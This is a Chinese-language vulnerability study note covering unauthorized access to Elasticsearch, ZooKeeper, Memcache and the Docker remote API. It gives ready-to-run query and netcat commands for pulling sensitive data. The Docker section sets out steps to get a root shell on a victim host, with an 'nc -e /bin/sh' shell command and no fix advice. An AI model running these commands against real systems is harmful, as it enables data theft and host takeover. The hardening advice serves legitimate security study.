漏洞學習記錄
CATALOG
1.Elasticsearch未授權漏洞
- 埠號
9200/9300 - 漏洞介紹
Elasticsearch服務普遍存在一個未授權訪問的問題,攻擊者通常可以請求一個開放9200或9300的伺服器進行惡意攻擊。 - 利用思路
可用來讀取對應index裡面的資訊,可將其理解成一個數據庫每一個index就是一張表每一個type就是一個欄位,一個index裡面有很多欄位。 - 操作相關
要利用這個漏洞,最重要的就是檢視資料,下面是elasticsearch基本的查詢方法
查詢所有的 index, type:
curl localhost:9200/_search?pretty=true
查詢某個index下所有的type:
curl localhost:9200/films/_search
查詢某個index 下, 某個 type下所有的記錄:
curl localhost:9200/films/md/_search?pretty=true
帶有引數的查詢:
curl localhost:9200/films/md/_search?q=tag:good
使用JSON引數的查詢: (注意 query 和 term 關鍵字)
curl localhost:9200/film/_search -d ’
{“query” : { “term”: { “tag”:“bad”}}}’http://192.168.80.126:9200/_plugin/head/ #web管理介面
http://192.168.80.126:9200/_cat/indices #檢視叢集當前狀態
http://192.168.80.126:9200/_nodes #檢視節點資料
http://192.168.80.126:9200/_river/_search #檢視資料庫敏感資訊
- 實際操作
- 直接訪問ip:9200
- ip:9200/_cat/indices/?v #查詢所有的index
- ip:9200/_mapping?pretty=true #查詢所有index與其對應的type
- ip:9200/index的名字/_search?pretty=ture #查詢對應index的type的具體值
- 修復建議
1、為elasticsearch增加登入驗證,可以使用官方推薦的shield外掛,該外掛為收費外掛,可試用30天,免費的可以使用elasticsearch-http-basic,searchguard外掛。外掛可以通過執行Biplugin install [github-name]/repo-name。同時需要注意增加驗證後,請勿使用弱口令。
2、架設nginx反向代理伺服器,並設定http basic認證來實現elasticsearch的登入認證。
3、預設開啟的9200埠和使用的埠不對外公佈,或架設內網環境。
4、elasticsearch 早期版本在“CVE中文漏洞資訊庫”網站上已有部分漏洞被披露,建議使用1.7.1以上版本或使用最新版本程式。
5、限制IP訪問,繫結固定IP - 參考
Elasticsearch未授權訪問漏洞
2.ZooKeeper 未授權訪問漏洞
-
埠號
2181 -
漏洞介紹
ZooKeeper是一個分散式的,開放原始碼的分散式應用程式協調服務,是Google的Chubby一個開源的實現,是Hadoop和Hbase的重要元件。它是一個為分散式應用提供一致性服務的軟體,提供的功能包括:配置維護、域名服務、分散式同步、組服務等。ZooKeeper的目標就是封裝好複雜易出錯的關鍵服務,將簡單易用的介面和效能高效、功能穩定的系統提供給使用者。 -
利用思路
ZooKeeper預設開啟在2181埠,在未進行任何訪問控制情況下,攻擊者可通過執行envi命令獲得系統大量的敏感資訊,包括系統名稱、Java環境 -
利用相關
zookeeper下載地址:http://archive.apache.org/dist/zookeeper/
zookeeper視覺化管理工具下載連線:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip -
實際操作
echo envi|nc ip 2181
#返回大量敏感資訊,host名等,下圖為節選
- 也可以使用圖形化介面查詢Zookeeper中的內容
- 修復建議
禁止把Zookeeper直接暴露在公網
新增訪問控制,根據情況選擇對應方式(認證使用者,使用者名稱密碼,指定IP)
配置防火牆策略,只允許指定IP訪問2181埠
配置服務ACL限制IP訪問 - 參考
Zookeeper 未授權訪問漏洞
3.Memcache未授權訪問
memcache是一套分散式的快取記憶體系統,它以Key-Value(鍵值對)形式將資料儲存在記憶體中,預設開放11211埠,使用nmap的指令碼進行掃描。
-
埠號
11211 -
漏洞介紹
memcache是一套分散式的快取記憶體系統,它以Key-Value(鍵值對)形式將資料儲存在記憶體中,預設開放11211埠,使用nmap的指令碼進行掃描。 -
利用思路
直接使用nc進行連接獲取敏感資訊 -
利用相關
stats 檢視memcache 服務狀態
stats items 檢視所有items -
實際操作
-
修復建議
一、 因memcache無許可權控制功能,所以需要使用者對訪問來源進行限制。一般不需要外網訪問的,可以直接繫結本地127.0.0.1 即可,實現方式如下:
[[email protected] ~]# vim /etc/sysconfig/memcached
OPTIONS="-l 127.0.0.1" #設定本地為監聽
[[email protected] ~]# /etc/init.d/memcached restart #重啟服務
二、 當memcached 配置為監聽內網IP或公網IP時, 使用主機防火牆(iptalbes、firewalld等)和網路防火牆對memcached服務埠進行過濾。
4.docker未授權漏洞利用
掃描出docker未授權漏洞後使用指令碼dockerRemoteApiGetRootShell.py進行攻擊。攻擊過程如下:
- 下載指令碼:下載地址
- 安裝依賴庫(基於python2)
pip install -r requirements.txt - 獲取受害主機shell
python dockerRemoteApiGetRootShell.py -h ip -p 2375 # 獲取docker id
python dockerRemoteApiGetRootShell.py -h ip -p 2375 -e “nc -lvvp 9998 -e /bin/sh” -I c60d6d45e76c7d3f9d7abae075cb77b4924bd7133eebddc59679f2a60eb32bc2 #反彈shell